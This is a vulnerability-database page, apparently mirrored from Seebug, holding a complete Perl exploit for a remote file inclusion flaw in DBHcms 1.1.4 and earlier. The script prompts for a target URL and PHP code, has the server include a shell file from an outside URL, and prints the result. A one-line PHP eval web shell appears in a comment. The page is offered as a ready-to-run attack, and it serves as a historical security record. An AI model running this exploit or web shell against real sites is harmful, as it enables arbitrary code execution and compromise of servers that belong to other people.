Lucene search
K

DBHcms <= 1.1.4 - Remote File Inclusion exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

DBHcms <= 1.1.4 Remote File Inclusion vulnerabilit

Code

                                                #!/usr/bin/perl
#	DBHcms &#60;= 1.1.4 Remote File Inclusion exploit
#	Vendor url: www.drbenhur.com
#
# exploit is hard to execute through a browser -possible though- since it&#39;s with POST
#							~Iron
#							http://www.randombase.com
require LWP::UserAgent;
#Shell:
# &#60;?php if(!empty($_GET[&#39;do&#39;])){eval($_GET[&#39;do&#39;]);}?&#62;
$shell_url = &#34;http://localhost/s.txt&#34;;

print &#34;#
#  DBHcms &#60;= 1.1.4 Remote File Inclusion exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/dhbcms/
Target url?&#34;;
chomp($target=&#60;stdin&#62;);
if($target !~ /^http:\/\//)
{
	$target = &#34;http://&#34;.$target;
}
if($target !~ /\/$/)
{
	$target .= &#34;/&#34;;
}
print &#34;PHP code to evaluate? &#34;;
chomp($code=&#60;stdin&#62;);
$code =~ s/(&#60;\?php|\?&#62;|&#60;\?)//ig;
$target .= &#34;dbhcms/mod/mod.extmanager.php?do=&#34;.$code;

$ua = LWP::UserAgent-&#62;new;
$ua-&#62;timeout(10);
$ua-&#62;env_proxy;

$response = $ua-&#62;post($target,
{
&#39;extmanager_install&#39; =&#62; $shell_url.&#39;?&#39;
});

if ($response-&#62;is_success)
{
	print &#34;\n&#34;.&#34;#&#34; x 20 .&#34;\n&#34;;
	if($response-&#62;content =~ /URL file-access/)
	{
		print &#39;Exploit failed&#39;;
	}
	else
	{
		print $response-&#62;content;
	}
	print &#34;\n&#34;.&#34;#&#34; x 20 .&#34;\n&#34;;
}
else
{
 die &#34;Error: &#34;.$response-&#62;status_line;
}

# milw0rm.com [2008-02-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation